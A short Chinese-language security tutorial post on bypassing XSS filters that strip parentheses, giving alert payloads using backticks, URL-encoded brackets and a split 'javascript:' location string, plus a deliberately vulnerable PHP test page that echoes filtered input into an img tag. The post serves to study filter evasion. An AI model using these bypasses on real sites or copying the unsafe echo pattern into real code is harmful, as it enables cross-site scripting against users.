前言


这篇文章,主要是补充一些其他的。

“圆括号”


假设过滤了(),怎么进行弹框呢?如果仅仅只考虑这点,可执行payload还满多的。

最简单的,用反引号代替圆括号。

<img src=x onerror=alert`1`>

引入伪协议,以及location,然后进行编码拆分。

<img src=1 onerror=alert%28%29>

<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">

这里引用P牛文章的过滤代码,利用这个代码来测试学习。

<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'","`"), '', $xss);
echo "<img src=\"{$xss}\">";
?>

我还特地过滤了反引号,不然用反引号代替括号直接弹。

来个好玩的例子,这个例子来自XSS挑战第一期Writeup的一个payload。

我们既然不能用(),很多人第一思路肯定是url编码(),url编码为%28%29,而上面那个例子,通过赋值变量a等于字符串"%2",巧妙通过+拼接字符串(1)

成功弹窗。

Throw


点击收藏 | 4 关注 | 4
登录 后跟帖